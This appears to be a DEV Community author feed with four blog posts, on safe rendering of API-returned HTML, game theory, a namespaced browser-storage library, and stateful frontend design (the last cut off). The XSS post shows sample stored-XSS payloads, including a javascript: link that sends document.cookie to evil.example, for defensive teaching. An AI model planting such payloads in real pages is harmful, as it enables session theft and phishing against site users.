DEV Community: Shayan Mirzaie

The API Returns HTML. What Could Go Wrong?

Shayan Mirzaie — Thu, 01 Oct 2026 14:06:58 +0000

One thing I have been thinking about recently is how a seemingly simple content feature can quietly become a security and architecture decision.

The requirement sounds harmless:

An internal team writes rich content in a backoffice, an API returns it, and the frontend renders it on customer pages.

We needed something similar at Snappfood for an SEO content box. The content had to support paragraphs, headings, lists, bold text, and links. It also had to be rendered server-side so search engines could index it.

The obvious implementation looked like this:

function SeoBox({ html }: { html: string }) {
  return <div dangerouslySetInnerHTML={{ __html: html }} />
}

It is only one line of code.

But that line changes the meaning of the API response. It is no longer just data. It can become instructions for the browser.

And that is where the real problem starts.

The API boundary is not a trust boundary

It is tempting to think the HTML is safe because it comes from our own API or because only backoffice users can edit it.

But internal content is still input.

An account can be compromised. A permission can be configured incorrectly. A migration script can copy unsafe content. Another service can write directly to the database. And a harmless-looking editor change can start preserving attributes that the frontend never expected.

If the content is stored and later rendered for every visitor, a single bad value becomes stored XSS.

For example:

<a href="javascript:fetch('//evil.example?c='+document.cookie)">
  Special offer
</a>

<p onmouseover="stealUserData()">Move your mouse here</p>

<div style="position:fixed;inset:0;z-index:9999">
  Fake login form
</div>

The impact is not limited to showing an alert box. Depending on the application, injected content can:

perform actions as the signed-in user
read data available to JavaScript and send it elsewhere
replace part of the page with a phishing UI
redirect users to spam or malicious websites
damage SEO through injected links or hidden content
break the layout or create server/client hydration mismatches

On a large product, the blast radius matters. One backoffice entry may be rendered on the web, PWA, Android, and iOS surfaces, and seen by thousands of users before anyone notices.

The problem is not that the API is external.

The problem is that we gave a string the authority to create browser behavior.

Allowing only a few tags is not enough

The first solution many teams consider is a tag allowlist:

p, h2, h3, ul, ol, li, b, em, a

That is a good start, but most of the interesting risk is not in the tag name. It is in the attributes and their values.

An <a> element may be allowed, but should its href accept javascript:? Should it accept a protocol-relative URL such as //evil.example? Should arbitrary style, class, id, or event attributes survive?

Every allowed element creates another set of questions:

Which attributes are valid?
Which URL protocols and domains are valid?
Can CSS hide or cover trusted UI?
Can the content load remote resources?
What happens when malformed markup reaches SSR?

This is why a regular expression or a home-grown HTML parser is not a security solution. Browsers parse HTML in complicated ways, and the edge cases evolve.

Option 1: Keep HTML, but sanitize it correctly

Sometimes HTML really is the right content format. Maybe you already have years of HTML content, need high authoring flexibility, or integrate with a system that only produces HTML.

In that case, use a maintained sanitizer such as DOMPurify or sanitize-html. Do not build one yourself.

A serious configuration needs to define at least:

allowed tags
allowed attributes for each tag
allowed URL schemes and hosts
treatment of inline styles, images, iframes, and SVG
where sanitization runs and how often it runs

It should also be tested with malicious payloads, not only valid editor output.

Sanitization is a valid defense, but it creates an ongoing responsibility:

the sanitizer must stay patched
backend and frontend rules must not drift apart
content must not be mutated after sanitization
every place that renders the HTML must use the same policy

A strict Content Security Policy and Trusted Types can reduce the impact of mistakes, but they are additional layers, not replacements for safe rendering. The OWASP XSS Prevention Cheat Sheet makes the same point: no single control solves every XSS problem.

For us, the more useful question became:

Do we need to accept HTML at all?

Option 2: Store content as structured data

Our content requirements were intentionally small:

paragraphs
level-two and level-three headings
ordered and unordered lists
bold and italic text
links
line breaks

We did not need arbitrary HTML. We needed a small document model.

So instead of storing an HTML string, we chose a TipTap/ProseMirror JSON document:

{
  "type": "doc",
  "content": [
    {
      "type": "heading",
      "attrs": { "level": 2 },
      "content": [
        { "type": "text", "text": "Order pizza online in Tehran" }
      ]
    },
    {
      "type": "paragraph",
      "content": [
        { "type": "text", "text": "Choose from " },
        {
          "type": "text",
          "text": "hundreds of restaurants",
          "marks": [{ "type": "bold" }]
        }
      ]
    }
  ]
}

The frontend maps each known node to a component:

function renderNode(node: SeoNode, key: number): React.ReactNode {
  const children = node.content?.map(renderNode)

  switch (node.type) {
    case 'text':
      return renderText(node, key)
    case 'paragraph':
      return <Text key={key} as="p">{children}</Text>
    case 'heading':
      return (
        <Text key={key} as={node.attrs?.level === 3 ? 'h3' : 'h2'}>
          {children}
        </Text>
      )
    case 'bulletList':
      return <ul key={key}>{children}</ul>
    case 'orderedList':
      return <ol key={key}>{children}</ol>
    case 'listItem':
      return <li key={key}>{children}</li>
    case 'hardBreak':
      return <br key={key} />
    default:
      return null
  }
}

No HTML string is parsed in the browser.

Text stays a React string, so React escapes it. A paragraph can only become our paragraph component. A heading can only become h2 or h3. An unknown node produces nothing instead of creating an unknown DOM element.

This is an important distinction:

JSON is not automatically safe. It becomes safe when the schema is validated and the renderer gives it only a small, explicit set of capabilities.

Links need their own security policy

Even with structured content, links are still an escape hatch.

We decided that a link may be:

a relative path such as /discounts
an HTTPS URL on snappfood.ir or one of its subdomains

Everything else is rejected.

export function isAllowedHref(value?: string) {
  if (!value) return false

  if (
    value.startsWith('/') &&
    !value.startsWith('//') &&
    !value.includes('\\')
  ) {
    return true
  }

  try {
    const url = new URL(value)

    return (
      url.protocol === 'https:' &&
      (url.hostname === 'snappfood.ir' ||
        url.hostname.endsWith('.snappfood.ir'))
    )
  } catch {
    return false
  }
}

Internal links become the application's Link component. If external links are allowed in another use case, they should receive an explicit policy such as rel="nofollow noopener".

The useful principle here is to validate the meaning of an attribute, not only its type. href being a string tells us almost nothing about whether it is safe.

We enforce the contract in three places

The design became much stronger when we stopped treating validation as one team's job.

1. The editor limits what authors can create

The backoffice uses TipTap with only the extensions we support. It saves editor.getJSON(), not editor.getHTML().

Pasted content is converted into the small document model. Unsupported tags and attributes are not part of the saved contract.

2. The backend treats the editor as untrusted

The backend validates every document against the same ProseMirror schema, checks its structure, checks every link, and rejects invalid content with a 400 response.

It also stores metadata such as version, updatedBy, and updatedAt. Security includes knowing which format we are reading and being able to trace how content changed.

3. The frontend remains restrictive

The renderer handles only known nodes and marks. Unknown content is dropped. It uses design-system components and fixed semantic elements instead of accepting arbitrary tag names or attributes.

This gives us defense in depth:

Backoffice constraints -> Backend validation -> Restricted renderer

If one layer makes a mistake, the next layer still has a chance to stop it.

What this solved beyond XSS

Security was the reason to question raw HTML, but structured content also improved other parts of the system.

The output always uses our design system. Authors cannot introduce random margins, colors, or inline styles. The markup stays semantic and predictable for SEO. A malformed closing tag cannot break the surrounding page. And we can change how a bold mark renders without migrating every stored document.

It also creates a clean path for future domain-specific blocks.

For example, we may later add a faq node that renders visible content and generates FAQPage JSON-LD. That behavior would be implemented and reviewed once, rather than manually recreated in many HTML strings.

The trade-off is less freedom

Structured content is not free.

It requires more work at the beginning:

an editor configuration
a shared schema
backend validation
a renderer
migration for existing HTML

Content authors can use only the blocks the product supports. Adding a table or an image is no longer “just paste this HTML.” It becomes a small product and engineering decision across the editor, API, validation, rendering, accessibility, and responsive design.

For our use case, that limitation was a feature.

The SEO team needed predictable rich text, not the full power of the browser.

Tools and when I would use them

The choice is not “one library for every case.” It depends on the content boundary.

DOMPurify: A strong choice when untrusted HTML must be rendered in a browser. Keep it updated and configure it deliberately.
sanitize-html: Useful for server-side Node.js pipelines where tags, attributes, and URL schemes need a clear allowlist.
TipTap / ProseMirror: Useful when authors need rich-text editing but the application wants a strict, structured document model. TipTap also recommends JSON for persistence.
@tiptap/static-renderer: Can render TipTap JSON to HTML or React without an editor instance. For our small set of nodes, a hand-written renderer was easier to audit and avoided adding more runtime dependencies. If the content model grows, this decision may change.
CSP and Trusted Types: Valuable defense-in-depth controls for limiting dangerous DOM sinks and reducing the impact of an XSS mistake.

If I had to keep HTML, I would sanitize it with a well-maintained library, define one shared policy, test it with hostile input, and add browser-level controls.

If the product needs only a small set of content capabilities, I would prefer structured data and a controlled renderer.

The tests should describe the threat model

We plan to test the content system with input that includes:

<script> elements
event handlers such as onclick
javascript: links
protocol-relative links such as //evil.example
unknown nodes and marks
invalid heading levels
deeply nested or oversized documents
API failures and invalid payloads

The important assertion is not only “validation returns false.”

It is:

Nothing executable reaches the rendered page, and invalid content never breaks the customer experience.

If fetching or validating the SEO content fails, the page should render without the box. Optional content should not take the main product down with it.

The biggest lesson for me was that rendering HTML from an API is not a frontend shortcut. It is a decision about what capabilities we give to content and how far we allow those capabilities to travel through the system.

Sometimes sanitized HTML is the right decision.

For our SEO content box at Snappfood, structured JSON with a restricted renderer gave us a smaller attack surface, stronger design consistency, and a clearer contract between the backoffice, backend, and frontend.

The implementation was more work than one line of dangerouslySetInnerHTML.

But the system became much easier to reason about.

I would love to hear your experience:

How does your team render rich content from APIs?

Do you sanitize HTML, use a structured document model, or combine both?

Game Theory: When the Right Decision Doesn't Depend Only on You

Shayan Mirzaie — Mon, 28 Sep 2026 11:21:47 +0000

A few years ago, I first came across Game Theory at university.

I found the idea fascinating and read a little about it, but I never really went deep into it.

Until recently.

One of the things that brought me back to the topic was watching A House of Dynamite.

Without getting into the story or spoiling anything, one question kept coming back to me:

How do you make a good decision when you don't have complete information, you don't know what the other side is going to do, and making the wrong decision could be extremely costly?

That question sent me back to Game Theory.

But this time, I wasn't particularly interested in the equations or the mathematical models.

I was interested in a much simpler question:

What does a "right decision" even mean when the outcome doesn't depend only on you?

So, What Is Game Theory Really About?

In simple terms, Game Theory studies situations where the outcome of your decision depends not only on what you do, but also on what other people do.

And that last part is what makes things interesting.

A simple decision-making model might look like this:

I have several options → I evaluate the consequences → I choose the best one.

But real life usually isn't that simple.

Imagine you're negotiating with another company.

The outcome doesn't depend only on your offer. It depends on how they respond.

Two engineering teams are working on the same project.

The outcome doesn't depend only on your team's decisions. It also depends on what the other team decides to do.

Two companies are competing.

One country has to decide how to respond to another country.

Even many everyday relationships work this way.

We're not simply making decisions.

We're making decisions inside a game with other players.

And one of the most famous examples for understanding this is the Prisoner's Dilemma.

The Prisoner's Dilemma

Imagine two people are arrested for committing a crime together.

They're placed in separate rooms and can't communicate.

Each person has two choices:

Cooperate — stay silent.

Or:

Defect — testify against the other person.

Now there are several possible outcomes.

If both stay silent, they both receive relatively small punishments.

If one stays silent while the other defects, the person who defects gets a much better outcome while the person who stayed silent gets the worst one.

If both defect, they both receive significant punishments.

At first, the answer seems obvious:

Just cooperate.

Except there's one problem.

You don't know what the other person is going to do.

Suppose I cooperate.

If you cooperate too, great.

But if you defect, I get the worst possible outcome.

So I might start thinking:

"Maybe you're doing exactly the same analysis and you're going to defect. In that case, I should defect first."

But you're probably thinking the same thing about me.

The result?

We may both make decisions that are completely rational from our individual perspectives, yet end up with an outcome that's worse for both of us.

And that's one of the ideas I find most interesting about Game Theory:

A rational decision for an individual doesn't necessarily produce the best outcome for the system.

But What If the Game Doesn't Happen Only Once?

This is where things became much more interesting to me.

The simplest version of the Prisoner's Dilemma is a one-shot interaction.

But most real-world interactions aren't one-shot games.

Tomorrow, you'll see your coworker again.

Next week, your team will work with the same team again.

Next month, you might negotiate with the same company again.

The game repeats.

And once a game is repeated, my decision today doesn't only determine today's outcome.

It can change your behavior tomorrow.

That question led to one of the most famous experiments in Game Theory.

Axelrod's Tournament

In the late 1970s, political scientist Robert Axelrod explored a fascinating question:

What's the best strategy for an iterated Prisoner's Dilemma?

He invited researchers to submit strategies that could compete against each other.

Then those strategies played repeated rounds of the Prisoner's Dilemma.

Some were complicated.

Some tried to predict their opponent's behavior.

Some were aggressive.

Others used more elaborate patterns.

But one of the strategies that performed remarkably well was surprisingly simple:

Tit for Tat

Its logic was basically:

Start by cooperating.

After that:

Do whatever the other player did in the previous round.

If they cooperate, cooperate.

If they defect, defect.

If they return to cooperation, cooperate again.

That's it.

Why Is Tit for Tat So Interesting?

What interests me isn't really the simplicity of the algorithm.

It's the behavior that emerges from it.

Tit for Tat has a few interesting characteristics.

It starts with cooperation

Its initial assumption isn't:

"The other person is probably going to screw me over."

Its first move is cooperative.

It gives the other player an opportunity to cooperate.

But it isn't naive

If the other player defects, Tit for Tat doesn't just continue cooperating forever.

Bad behavior has a cost.

The strategy isn't saying:

Always be nice.

It's closer to:

I'm willing to cooperate as long as you're willing to cooperate too.

It doesn't hold a grudge

This might be the most interesting part.

If the other player defects once, Tit for Tat responds.

But if they cooperate again in the next round, cooperation immediately returns.

One mistake isn't punished forever.

And it's predictable

The other player can quickly understand the pattern:

If I cooperate, I'll probably receive cooperation.

If I defect, I'll probably receive defection.

That predictability is itself part of the strategy.

So... Did We Just Discover the Secret to Life?

Not exactly :)

And I think this is where we need to be careful not to turn Game Theory into a self-help book.

Tit for Tat performed well under specific conditions, and changing those conditions can change the results.

One particularly interesting problem is noise.

Imagine I intended to cooperate, but you misunderstood my action.

You think I defected.

So you defect.

I see your defection and think:

"Okay, so you decided to defect."

Then I retaliate.

Now we may enter a cycle of negative behavior that neither of us originally intended to start.

The real world is full of this kind of noise:

Miscommunication.

Incomplete information.

Misinterpretation.

Different incentives.

Unequal power.

And, of course, humans who aren't perfectly rational players.

So the lesson I take from Tit for Tat isn't:

"This is how you should treat everyone in life."

What I find much more interesting is this:

When interactions repeat, a good strategy can look very different from the optimal strategy in a one-shot interaction.

What Does Any of This Have to Do With Our Everyday Work?

This is where Game Theory stopped feeling like an interesting university topic to me.

Because once you start looking at work through this lens, you can see games everywhere.

Imagine two teams, Frontend and Backend, working on the same product.

Both teams have deadlines.

Both want to deliver quickly.

The Backend team can design an API that solves its immediate requirement as quickly as possible.

Or it can spend a little more time creating a contract that's also easier for the Frontend team to consume and maintain.

Frontend can make similar decisions on its side.

Individually, either team might reasonably say:

"Why should we pay the extra cost? The other team can solve their own problem."

From a local perspective, that might be perfectly rational.

But if both teams keep playing that strategy, a few months later you may have a system where integrations are painful, changes are expensive, and both teams hate working with it.

Each team optimized its own decision.

Nobody optimized the game.

Local Optimum Doesn't Necessarily Mean Global Optimum

You can see the same pattern in many other engineering situations.

Take Code Review.

Imagine your PR comes to me for review.

I'm busy.

I could spend 30 minutes understanding the context and giving you a thoughtful review.

Or I could quickly scan it and write:

LGTM ✅

In the short term, the second strategy is better for me.

I just saved 30 minutes.

Next week, my PR comes to you.

You're busy too.

So you choose the same strategy.

Again, both of us made individually rational decisions.

But what happens after a few months?

Code Review becomes a ceremony.

Quality drops.

Knowledge sharing decreases.

And something that was supposed to act as a safety net gradually loses its value.

"That's Not Our Team's Problem"

There's another sentence most of us have probably heard inside companies:

"Technically, this isn't our team's responsibility."

And very often, that's completely true.

Ownership matters.

Boundaries matter.

A team shouldn't be responsible for every problem in the organization.

But Game Theory gives us another question:

What kind of system do we create if everyone plays this strategy?

Imagine a problem sitting somewhere between two services, teams, or areas of ownership.

Technically, nobody directly owns it.

Every team also has an incentive to focus on its own roadmap.

From each team's perspective:

Not my problem.

From the organization's perspective:

Very much our problem.

This is where the difference between local optimization and systems thinking becomes very visible.

We Almost Never Play Only Once

One thing I've started thinking about more is how many workplace decisions seem to be made as if we're playing a one-shot game.

How do we finish this sprint?

How do we hit this deadline?

How do we improve our team's numbers this quarter?

How do we move this problem outside our scope?

But the game continues.

The team we're disagreeing with today might become our dependency again three months from now.

The engineer we didn't help today might review our PR tomorrow.

The technical debt we postponed today might show up again six months from now.

The trust we spend for a short-term win might take months to rebuild.

When the game is repeated, the definition of the best decision starts to change.

Reputation Becomes Part of the Game

In a repeated interaction, today's decision isn't the only thing that matters.

Other people are gradually building a model of us.

Does this person help when things go wrong?

Does this team respect its contracts?

When something fails, does this manager try to solve the problem or find someone to blame?

Does this engineer continue collaborating when their proposal gets rejected?

Does this company honor its agreements?

Over time, the answers to these questions become reputation.

And reputation changes how other players behave toward us.

So perhaps trust isn't only an ethical or cultural concept.

In repeated games, it can also become part of the strategy.

And That Brought Me Back to A House of Dynamite

What stayed with me after watching A House of Dynamite wasn't simply the crisis or the scale of the decisions.

It was the underlying question:

When information is incomplete, time is limited, and you don't know what the other player is going to do, what does a rational decision actually look like?

If you wait for more information, it might be too late.

If you react immediately, you might be acting on a false assumption.

If you assume hostile intent, your own decision might escalate the game.

If you're too optimistic, you might lose your opportunity to respond.

And what makes this kind of decision especially difficult is that:

Your decision isn't just a response to the game. It changes the game.

The other player observes your move and reacts.

Then you react to their reaction.

And the cycle continues.

Maybe We're Asking the Wrong Question

When we're making a decision, the question we often ask is:

"What's the best decision I can make?"

And that's not a bad question.

But Game Theory made me think more about another one:

"If every player responds to their incentives, what kind of system will this decision eventually create?"

Because what's best for me might not be best for the whole system.

What's optimal today might be a terrible strategy in a repeated game.

And something that has a short-term cost — cooperation, building trust, helping another team — might create a completely different long-term outcome.

That doesn't mean always cooperating.

It doesn't mean ignoring your own interests either.

And it definitely doesn't mean drawing a payoff matrix for every decision you make :)

For me, it's mostly a mental model.

A different way of looking at decisions.

What Kind of Game Does This Decision Create?

The more I read about Game Theory, the less I felt like it was telling me:

"Here's the right decision."

Instead, it helped me ask better questions.

Who are the players?

What are their incentives?

Who knows what?

Is this a one-shot interaction, or are we going to play again?

If I make this move, how might it change the behavior of the other players?

Are we confusing a local optimum with the best outcome for the whole system?

And perhaps most importantly:

What kind of game are we creating for the next round?

Maybe Game Theory won't tell us what the best decision is.

But it reminds us of something important:

Many decisions can't be optimized in isolation.

Because we're almost never playing alone.

Our decisions change other people's behavior.

Their behavior changes our next decision.

And something that looks completely rational today might create a repeated game that none of the players actually wanted.

So these days, alongside:

"What's the best decision for me?"

I try to ask one more question:

"What kind of game does this decision create between me and everyone else?"

Browser Storage Doesn't Scale with Your Team. So I Built namespaced-storage

Shayan Mirzaie — Thu, 24 Sep 2026 15:01:39 +0000

A few lines of localStorage usually look harmless.

A feature remembers a filter. Authentication keeps a token. The basket survives a refresh.

Each decision makes sense in isolation. But in a large frontend codebase, owned by multiple teams, all of those features write into the same global namespace.

That is where a small browser API becomes an architectural problem.

Working on a large-scale product at Snappfood, I have seen how quickly storage decisions spread across a codebase. Different teams move at different speeds. Features have different lifetimes. Engineers join, leave, and refactor. A key written today may still exist in a user's browser months later.

JavaScript gives us several ways to persist data, but the raw APIs provide very few boundaries:

Keys are global to the origin
Values are strings
Ownership is invisible
clear() affects everyone
TypeScript cannot protect data after it crosses the storage boundary
Nobody can easily answer what the application stores

These problems do not always fail during development.

Sometimes they reach production.

That is why I built namespaced-storage, together with an ESLint plugin and a CLI.

The goal is not to replace localStorage with a prettier API.

The goal is to make browser storage explicit, owned, typed, and reviewable.

The problem starts with one global namespace

Imagine two teams working on different parts of a food delivery application.

The checkout team writes:

localStorage.setItem("status", "pending");

Later, the authentication team writes:

localStorage.setItem("status", "verified");

Both changes look correct in their pull requests. Both may pass every test. In the browser, one silently overwrites the other.

A common response is to add prefixes manually:

localStorage.setItem("checkout:status", "pending");
localStorage.setItem("auth:status", "verified");

This helps, but it is only a naming convention. Every engineer must remember it, spell it correctly, serialize values consistently, and avoid clearing data owned by another feature.

Conventions that live only in documentation slowly disappear.

In a large codebase, a boundary is useful only when the tools can enforce it.

Give every feature an owner

With namespaced-storage, each feature declares its own store:

npm install namespaced-storage

import { createLocalStorage } from "namespaced-storage";

export const basketStorage = createLocalStorage("basket");

basketStorage.set("count", 10);
basketStorage.get("count"); // 10, not "10"
basketStorage.clear();      // clears basket:* only

The browser now contains explicit ownership:

basket:count
basket:items
auth:token
ui:theme

The basket feature can clear its state without removing authentication, UI preferences, or another team's data.

Storage is no longer owned by the application. Each piece of storage is owned by a feature.

I prefer declaring stores next to the feature that owns them:

src/
  features/
    auth/auth.storage.ts
    basket/basket.storage.ts
  shared/ui/ui.storage.ts

There is no central registry that every team has to edit. Ownership remains local, while the tooling can still build a global view.

Make keys and values type-safe

Defaults are enough to infer many contracts:

export const basketStorage = createLocalStorage("basket", {
  defaults: {
    count: 0,
    items: [] as BasketItem[],
  },
});

basketStorage.get("count");
// number, not number | undefined

basketStorage.set("count", 3);       // valid
basketStorage.set("count", "three"); // TypeScript error

For data that needs runtime validation, the package includes a small schema API and also supports Standard Schema validators such as Zod, Valibot, and ArkType:

import { createSessionStorage, t } from "namespaced-storage";

export const authStorage = createSessionStorage("auth", {
  schema: {
    token: t.string(),
  },
});

authStorage.set("token", "jwt-value");
authStorage.set("token", 42);
// compile error and runtime ValidationError

This protects both sides of the boundary:

TypeScript catches incorrect writes during development
Runtime validation catches invalid persisted data

It also round-trips regular JSON values plus Date, Map, Set, BigInt, RegExp, NaN, and infinity values.

basketStorage.set("updatedAt", new Date());

const updatedAt = basketStorage.get("updatedAt");
// a real Date instance

A library without enforcement becomes optional

In a multi-team repository, architecture can drift one component at a time.

Someone is fixing an urgent bug. Someone copies an old example. Someone writes directly to window.localStorage because it is faster than finding the abstraction.

Six months later, the project has two storage systems again.

So I built eslint-plugin-namespaced-storage.

npm install --save-dev eslint-plugin-namespaced-storage

For ESLint 9 flat config:

// eslint.config.js
import nss from "eslint-plugin-namespaced-storage";

export default [nss.configs.recommended];

The plugin includes four rules:

no-direct-storage prevents raw localStorage and sessionStorage access
require-namespace-literal keeps namespaces statically discoverable
no-reserved-key protects internal metadata
storage-file-convention keeps declarations in *.storage.ts files in strict mode

Instead of relying on a code review comment, the feedback appears where the mistake is introduced:

Direct use of 'localStorage' is not allowed.
Create a namespaced store instead:
createLocalStorage('feature').

The rule understands scope. A local variable called localStorage is not confused with the browser global, and adapter files can be explicitly allowed when raw access is intentional.

Good guardrails should be precise enough that teams do not need to disable them.

Can we answer what the application stores?

Even with type-safe stores and lint rules, an engineering team still needs visibility.

In a large repository, I want to ask:

Which namespaces exist?
Which team owns each one?
Is the data local or session-scoped?
Which keys are stored?
Did two packages declare the same namespace?
Did a pull request change the persistence surface?

That is what @shayan-mirzaie/cli provides.

npm install --save-dev @shayan-mirzaie/cli
npx nss scan

Example output:

namespaced-storage · 3 namespaces across 3 files

auth    session  team-identity  src/features/auth/auth.storage.ts
basket  local    team-checkout  src/features/basket/basket.storage.ts
ui      local    team-platform  src/shared/ui/ui.storage.ts

The CLI reads the source without running the application. It can scan a repository that does not compile, requires no module resolution, and detects duplicate namespaces across packages in a monorepo.

✖ duplicate namespace "cart" on localStorage
  src/features/basket/basket.storage.ts
  src/legacy/cart/store.ts

It exits with code 1, so the same check works in CI:

- run: npx nss scan

You can also generate a committed Markdown inventory:

npx nss docs -o docs/storage.md
git diff --exit-code docs/storage.md

Now a pull request can show that a feature started persisting a new field, changed ownership, or introduced another namespace.

Storage becomes reviewable architecture rather than invisible runtime behavior.

A practical adoption path

You do not need to migrate an entire codebase at once.

Install namespaced-storage.
Choose one feature with clear ownership.
Move its reads and writes into a *.storage.ts file.
Add defaults or schemas for its keys.
Enable the recommended ESLint config.
Allow legacy access temporarily where migration is incomplete.
Run nss scan in CI.
Tighten the rules as raw access disappears.

The most valuable first step is not converting every call. It is establishing the ownership model that new code must follow.

What this library is not

Namespacing is discipline, not security.

Any script running on the page can still access browser storage. Sensitive secrets do not become safe because they have a prefix. The package does not replace secure server-side persistence, authorization, or a database.

It is also not a global state-management library.

It solves persistence boundaries. React state, server state, URL state, and workflow state still need the right owners.

The question is not:

How can we put more things in localStorage?

The better question is:

When browser persistence is the right choice, how do we keep it from becoming invisible shared state?

Try it

The project is open source and available now:

The core package has zero runtime dependencies, ships ESM and CJS builds with TypeScript declarations, and includes examples for vanilla TypeScript, React, and Next.js with SSR.

If you work on a large frontend codebase, I would love to hear how your team manages browser storage:

Do you have explicit ownership and tooling around it, or is localStorage still a global namespace held together by conventions?

Stateful vs. Stateless Frontends: Designing a Food Delivery App One State at a Time

Shayan Mirzaie — Wed, 16 Sep 2026 07:50:51 +0000

When we hear the words stateful and stateless, many of us first think about backend systems.

Stateless APIs.

Sticky sessions.

Redis.

Horizontal scaling.

But the same distinction becomes just as important in frontend applications—especially after the product grows beyond a few pages and a couple of API calls.

Imagine opening a food delivery application like Snappfood.

You choose an address. Search for a restaurant. Apply a filter. Open a menu. Add food to your basket. Change the quantity. Enter a delivery note. Move to checkout. Return to the previous page.

Every one of these interactions changes something.

The difficult question is not whether the application has state. It obviously does.

The difficult question is:

Who should own each piece of state, how long should it live, and what is the source of truth?

That is where stateful and stateless design becomes an architectural decision—not just a React decision.

In this article, I want to build a simplified frontend architecture for a Snappfood-like product and make those decisions one by one.

The example is intentionally educational. It does not describe Snappfood's internal architecture or any proprietary implementation. The goal is to create a realistic model that is complex enough to expose the trade-offs.

First, what do stateful and stateless actually mean?

A system is stateful when its current behavior depends on information preserved from previous interactions.

A system is stateless when it can process the current input without remembering previous interactions internally.

Consider these two functions:

function calculateTotal(items: BasketItem[]) {
  return items.reduce(
    (total, item) => total + item.price * item.quantity,
    0,
  );
}

and:

class BasketManager {
  private items: BasketItem[] = [];

  add(item: BasketItem) {
    this.items.push(item);
  }

  getTotal() {
    return calculateTotal(this.items);
  }
}

The first function is stateless. Give it the same input and it produces the same output. It does not remember the previous call.

The second object is stateful. The result of getTotal() depends on everything that happened before it.

Neither one is automatically better.

They solve different problems.

What does this mean on the backend?

HTTP itself is stateless. One request does not automatically know anything about the request that came before it.

That is why a request usually carries enough information to be understood independently:

POST /baskets/basket-42/items
Authorization: Bearer <token>
Content-Type: application/json

{
  "foodId": "food-10",
  "quantity": 1
}

The server can authenticate the request, identify the basket, validate the command, and return a response without relying on memory left inside one specific application instance.

This makes horizontal scaling easier:

Request 1 → API instance A
Request 2 → API instance C
Request 3 → API instance B

Any healthy instance should be able to handle the next request.

But there is an important distinction here:

A stateless API does not mean a stateless business domain.

A basket clearly has state. Orders have state. Users have state. Payment attempts have state.

The difference is that this state is stored in an explicit, durable owner such as a database or Redis—not hidden in the memory of a random API instance.

Stateless API process → Stateful database

This distinction becomes very useful when we move to the frontend.

A frontend cannot be completely stateless

A useful frontend reacts to history.

The user opened a modal.

The user selected an address.

The user typed a search query.

The user added two items to a basket.

Without state, every interaction would disappear immediately.

So our goal is not to remove state from the frontend.

Our goal is to prevent state from spreading everywhere.

State is not the problem. State without clear ownership is the problem.

The architecture I prefer is to keep most rendering, transformation, validation, and transport code stateless—and isolate state inside a small number of explicit owners.

The application we are going to build

Our simplified product has these user flows:

Select a delivery address
Search and filter restaurants
Open a restaurant menu
Add food to a basket
Replace the basket when switching restaurants
Change item quantities
Complete checkout

I will use React and TypeScript in the examples, with TanStack Query for server state and a small client store only where cross-feature UI state is genuinely needed.

The exact libraries are not the point. The ownership boundaries are.

At the repository level, I would start with something like this:

apps/
  customer-web/
  vendor-panel/
  support-panel/

packages/
  features/
    restaurant-search/
    restaurant-menu/
    basket/
    checkout/

  entities/
    restaurant/
    food/
    basket/
    order/

  shared/
    ui/
    api/
    validation/
    formatting/
    config/

This is a modular monorepo, not automatically a microfrontend architecture.

The packages give us ownership and dependency boundaries. They do not force us to deploy every feature separately.

That matters because organizational boundaries and runtime boundaries are different decisions.

1. Keep visual components stateless

Let us begin with a food card.

type FoodCardProps = {
  name: string;
  imageUrl: string;
  price: number;
  available: boolean;
  quantityInBasket: number;
  onAdd: () => void;
};

export function FoodCard({
  name,
  imageUrl,
  price,
  available,
  quantityInBasket,
  onAdd,
}: FoodCardProps) {
  return (
    <article>
      <img src={imageUrl} alt="" />
      <h3>{name}</h3>
      <Price value={price} />

      {quantityInBasket > 0 && (
        <span>{quantityInBasket} in basket</span>
      )}

      <button disabled={!available} onClick={onAdd}>
        Add
      </button>
    </article>
  );
}

FoodCard does not fetch the menu.

It does not import the basket store.

It does not know whether the user is authenticated.

It receives data and emits an event.

Conceptually:

UI = render(props)

This makes the component reusable in restaurant menus, search results, recommendations, and promotional sections.

It also makes testing much smaller:

it("disables Add when the food is unavailable", () => {
  render(
    <FoodCard
      name="Pizza"
      imageUrl="/pizza.jpg"
      price={250_000}
      available={false}
      quantityInBasket={0}
      onAdd={() => {}}
    />,
  );

  expect(screen.getByRole("button", { name: "Add" }))
    .toBeDisabled();
});

No router.

No API mock.

No global store setup.

This is one of the practical benefits of stateless design: the number of possible histories we need to reproduce becomes smaller.

2. Keep the API client stateless

Now we need to communicate with the basket backend.

export type AddBasketItemCommand = {
  basketId: string;
  foodId: string;
  quantity: number;
  // Used only to build the temporary optimistic snapshot.
  optimisticPrice: number;
};

export const basketApi = {
  get(basketId: string) {
    return http.get<Basket>(`/baskets/${basketId}`);
  },

  addItem(command: AddBasketItemCommand) {
    return http.post<Basket>(
      `/baskets/${command.basketId}/items`,
      {
        foodId: command.foodId,
        quantity: command.quantity,
      },
    );
  },
};

This module receives an explicit command and returns a result.

It should not quietly hold the current basket:

// Avoid this mixed responsibility.
class BasketService {
  currentBasket?: Basket;

  async load(basketId: string) {
    this.currentBasket = await http.get(`/baskets/${basketId}`);
  }
}

The second design mixes at least three responsibilities:

HTTP transport
Cache
Client state ownership

Now every consumer needs to understand when currentBasket was loaded, whether it is stale, and who is allowed to change it.

Calling something a “service” does not make those responsibilities disappear.

3. Treat fetched data as server state

The restaurant menu, current prices, item availability, basket, and orders belong to the server.

The browser only has a temporary snapshot of them.

That snapshot has a lifecycle:

loading → fresh → stale → refetching → fresh
               ↘ error

This is different from UI state such as whether a dialog is open.

For the basket, we can make the ownership explicit:

export const basketKeys = {
  all: ["basket"] as const,
  detail: (basketId: string) =>
    [...basketKeys.all, basketId] as const,
};

export function useBasket(basketId: string) {
  return useQuery({
    queryKey: basketKeys.detail(basketId),
    queryFn: () => basketApi.get(basketId),
    staleTime: 15_000,
  });
}

TanStack Query owns the browser cache.

The backend still owns the canonical basket.

That sentence is important because a cache is stateful, but it is not necessarily the source of truth.

If another tab, device, or backend process changes the basket, our cached value can become stale. The architecture must expect that.

4. Do not store derived state

Suppose our basket looks like this:

type Basket = {
  id: string;
  vendorId: string;
  items: BasketItem[];
};

It may be tempting to create another global state value:

type BasketStore = {
  basket: Basket;
  totalItems: number;
  subtotal: number;
};

But totalItems and subtotal can be calculated from basket.items.

export function getBasketSummary(basket: Basket) {
  return basket.items.reduce(
    (summary, item) => ({
      totalItems: summary.totalItems + item.quantity,
      subtotal:
        summary.subtotal + item.price * item.quantity,
    }),
    { totalItems: 0, subtotal: 0 },
  );
}

If we store all three values independently, we create three things that must always change together.

